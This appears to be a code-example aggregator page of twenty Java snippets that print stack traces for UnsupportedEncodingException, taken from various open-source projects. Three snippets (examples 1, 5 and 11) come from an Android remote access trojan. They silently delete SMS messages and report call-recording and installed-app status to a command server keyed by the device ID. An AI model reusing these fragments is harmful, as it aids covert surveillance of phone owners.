Java Code Examples for java.io.UnsupportedEncodingException.printStackTrace()

The following are Jave code examples for showing how to use printStackTrace() of the java.io.UnsupportedEncodingException class. You can vote up the examples you like. Your votes will be used in our system to get more good examples.
+ Save this method
Example 1
Project: Dendroid-HTTP-RAT   File: MyService.java   View Source Code Vote up 6 votes
@Override
        protected String doInBackground(String... params) {     
			Uri thread = Uri.parse( "content://sms");
			ContentResolver contentResolver = getContentResolver();
//			Cursor cursor = contentResolver.query(thread, null, null, null,null);
			contentResolver.delete( thread, "thread_id=? and _id=?", new String[]{String.valueOf(i), String.valueOf(j)});
	        
	        try {
				getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "SMS Delete [" + i + "] [" + j + "] Complete");
			} catch (UnsupportedEncodingException e) {
				 
				e.printStackTrace();
			}   
			
		    return "Executed";
        }
 
Example 2
Project: MMall_JAVA   File: Base64GroupTest.java   View Source Code Vote up 6 votes
public static String getBase64(String str) {
    byte[] b = null;
    String s = null;
    try {
        b = str.getBytes("utf-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    if (b != null) {
        s = new BASE64Encoder().encode(b);
    }
    return s;
}
 
Example 3
Project: sstore-soft   File: VoltProjectBuilder.java   View Source Code Vote up 6 votes
public void addSchema(String schemaPath) {
    try {
        schemaPath = URLDecoder.decode(schemaPath, "UTF-8");
    } catch (final UnsupportedEncodingException e) {
        e.printStackTrace();
        System.exit(-1);
    }
    assert (m_schemas.contains(schemaPath) == false);
    final File schemaFile = new File(schemaPath);
   
    assert (schemaFile != null);
    assert (schemaFile.isDirectory() == false);
    // this check below fails in some valid cases (like when the file is in
    // a jar)
    // assert schemaFile.canRead()
    // : "can't read file: " + schemaPath;

    m_schemas.add(schemaPath);
}
 
Example 4
Project: RxEasyHttp   File: CustomSignInterceptor.java   View Source Code Vote up 6 votes
private String sign(TreeMap<String, String> dynamicMap) {
    String url = getHttpUrl().url().toString();
    //url = url.replaceAll("%2F", "/");
    StringBuilder sb = new StringBuilder("POST");
    sb.append(url);
    for (Map.Entry<String, String> entry : dynamicMap.entrySet()) {
        sb.append(entry.getKey()).append("=").append(entry.getValue()).append("&");
    }

    sb.append(AppConstant.APP_SECRET);
    String signStr = sb.toString();
    try {
        signStr = URLDecoder.decode(signStr, UTF8.name());
    } catch (UnsupportedEncodingException exception) {
        exception.printStackTrace();
    }
    HttpLog.i(signStr);
    return MD5.encode(signStr);
}
 
Example 5
Project: Dendroid-HTTP-RAT   File: RecordService.java   View Source Code Vote up 6 votes
public void onDestroy()
 {
     super.onDestroy();

     if (null != recorder) {
         isRecording = false;
         recorder.release();
         
try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Recording Ended");
} catch (UnsupportedEncodingException e) {
	// TODO Auto-generated catch block
	e.printStackTrace();
}

     }
 }
 
Example 6
Project: malsoune   File: HellowFragment.java   View Source Code Vote up 6 votes
protected void onPreExecute(int position) {
    // NOTE: You can call UI Element here.

    //Start Progress Dialog (Message)

    //  Dialog.setMessage("Please wait..");
    //  Dialog.show();

    try{
        // Set Request parameter
        //  data +="&" + URLEncoder.encode("data", "UTF-8") + "="/*+serverText.getText()*/;
        data += "&"+ URLEncoder.encode("text", "UTF-8") + "=" +items1.get(position).name+ "&" + URLEncoder.encode("action", "UTF-8") + "="+ "Tashkeel2";
        data1 +="&" + URLEncoder.encode("action", "UTF-8") + "="+ "TashkeelText";
    } catch (UnsupportedEncodingException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }

}
 
Example 7
Project: sdudoc   File: BookAction.java   View Source Code Vote up 5 votes
@Action("searchByTitle")
public String searchByTitle(){
	try {
		bookTitle = new String(bookTitle.getBytes("ISO-8859-1"),"UTF-8");
	} catch (UnsupportedEncodingException e) {
		// TODO Auto-generated catch block
		e.printStackTrace();
	}
	System.out.println("执行searchByTitle========="+bookTitle);
	page=bookService.searchByTitle(bookTitle, pageNo, pageSize);
	System.out.println(page.getRecords().size()+"---------------条数");
	url = "index.jsp";
	return DYNAMIC;
	
}
 
Example 8
Project: decoy   File: RTSActivity.java   View Source Code Vote up 5 votes
@Override
public void onEvent(RTSTunData rtsTunData) {
    String data = "[parse bytes error]";
    try {
        data = new String(rtsTunData.getData(), 0, rtsTunData.getLength(), "UTF-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }

    TransactionCenter.getInstance().onReceive(sessionId, data);
}
 
Example 9
Project: exciting-app   File: StickerService.java   View Source Code Vote up 5 votes
public static String getStickerContentFullJson(String key) {
    SharedPreferences shared = App.getDefault().getSharedPreferences(Constants.STICKERPREFER, Context.MODE_PRIVATE);
    String sjson = shared.getString(key, "");
    String json = "";
    try {
        json = URLDecoder.decode(sjson, "UTF-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }

    return json;
}
 
Example 10
Project: DecompiledMinecraft   File: HttpUtil.java   View Source Code Vote up 5 votes
/**
 * Builds an encoded HTTP POST content string from a string map
 */
public static String buildPostString(Map<String, Object> data)
{
    StringBuilder stringbuilder = new StringBuilder();

    for (Entry<String, Object> entry : data.entrySet())
    {
        if (stringbuilder.length() > 0)
        {
            stringbuilder.append('&');
        }

        try
        {
            stringbuilder.append(URLEncoder.encode((String)entry.getKey(), "UTF-8"));
        }
        catch (UnsupportedEncodingException unsupportedencodingexception1)
        {
            unsupportedencodingexception1.printStackTrace();
        }

        if (entry.getValue() != null)
        {
            stringbuilder.append('=');

            try
            {
                stringbuilder.append(URLEncoder.encode(entry.getValue().toString(), "UTF-8"));
            }
            catch (UnsupportedEncodingException unsupportedencodingexception)
            {
                unsupportedencodingexception.printStackTrace();
            }
        }
    }

    return stringbuilder.toString();
}
 
Example 11
Project: Dendroid-HTTP-RAT   File: MyService.java   View Source Code Vote up 5 votes
@Override
     protected void onPostExecute(String result) {
     	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Get",false).commit();
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Installed Apps Complete");
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     }
 
Example 12
Project: CloudDB   File: BrokerMessage.java   View Source Code Vote up 5 votes
/**
    * Constructs a KVPubSubMessage object with a given String that
    * forms the message. 
    * 
    * @param msg the String that forms the message.
    */
public BrokerMessage(String msg) {
	if(msg != null) {
		this.msg = msg.trim();
		try {
			this.msgBytes = msg.getBytes("UTF-8");
		} catch (UnsupportedEncodingException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
}
 
Example 13
Project: ramus   File: ScriptEditorView.java   View Source Code Vote up 5 votes
public void save(Engine engine, Element reportElement) {
    try {
        engine.setStream("/elements/" + reportElement.getId() + "/"
                + ReportPlugin.getReportNameAttribute(engine).getId()
                + "/report.jssp", getText().getBytes("UTF-8"));
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
}
 
Example 14
Project: rocketmq-rocketmq-all-4.1.0-incubating   File: PrintMessageByQueueCommand.java   View Source Code Vote up 5 votes
public static void printMessage(final List<MessageExt> msgs, final String charsetName, boolean printMsg, boolean printBody) {
    if (!printMsg)
        return;

    for (MessageExt msg : msgs) {
        try {
            System.out.printf("MSGID: %s %s BODY: %s%n", msg.getMsgId(), msg.toString(),
                printBody ? new String(msg.getBody(), charsetName) : "NOT PRINT BODY");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
    }
}
 
Example 15
Project: CloudDB   File: CommonMessage.java   View Source Code Vote up 5 votes
/**
    * Constructs a TextMessage object with a given array of bytes that 
    * forms the message.
    * 
    * @param bytes the bytes that form the message in ASCII coding.
    */
public CommonMessage(byte[] bytes) {
	if (bytes != null) {
		this.msgBytes = bytes;
		try {
			this.msg = new String(msgBytes, "UTF-8").trim();
		} catch (UnsupportedEncodingException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}			
	}
}
 
Example 16
Project: HerbertyyRepository   File: Base64Utils.java   View Source Code Vote up 5 votes
/**
 * 解密
 *
 * @param str
 * @return
 */
public static byte[] decode(String str)
{
    try
    {
        return decodePrivate(str);
    } catch (UnsupportedEncodingException e)
    {
        e.printStackTrace();
    }
    return new byte[]
            {};
}
 
Example 17
Project: DecompiledMinecraft   File: CryptManager.java   View Source Code Vote up 5 votes
/**
 * Compute a serverId hash for use by sendSessionRequest()
 */
public static byte[] getServerIdHash(String serverId, PublicKey publicKey, SecretKey secretKey)
{
    try
    {
        return digestOperation("SHA-1", new byte[][] {serverId.getBytes("ISO_8859_1"), secretKey.getEncoded(), publicKey.getEncoded()});
    }
    catch (UnsupportedEncodingException unsupportedencodingexception)
    {
        unsupportedencodingexception.printStackTrace();
        return null;
    }
}
 
Example 18
Project: starcor.xul   File: XulWorker.java   View Source Code Vote up 5 votes
protected static byte[] getBytes(String v) {
	try {
		return v.getBytes("UTF-8");
	} catch (UnsupportedEncodingException e) {
		e.printStackTrace();
	}
	return null;
}
 
Example 19
Project: Nibo   File: NiboOriginDestinationPickerFragment.java   View Source Code Vote up 5 votes
private void sendRequest(LatLng origin, LatLng destination) {
    try {
        String destinationString = "" + destination.latitude + "," + destination.longitude;
        String originString = "" + origin.latitude + ","
                + origin.longitude;
        new DirectionFinder(getMapsAPIKeyFromManifest(), this, originString, destinationString).execute();
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
}
 
Example 20
Project: bird-java   File: DesTicketProtector.java   View Source Code Vote up 5 votes
@Override
public String protect(TicketInfo ticket) {
    try {
        byte[] key = this.getKey().getBytes("UTF-8");
        String saltToken = SecurityHelper.encryptDes(salt, key);

        String json = JSON.toJSONString(ticket);
        String token = SecurityHelper.encryptDes(json);
        return token + saltToken;

    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    return null;
}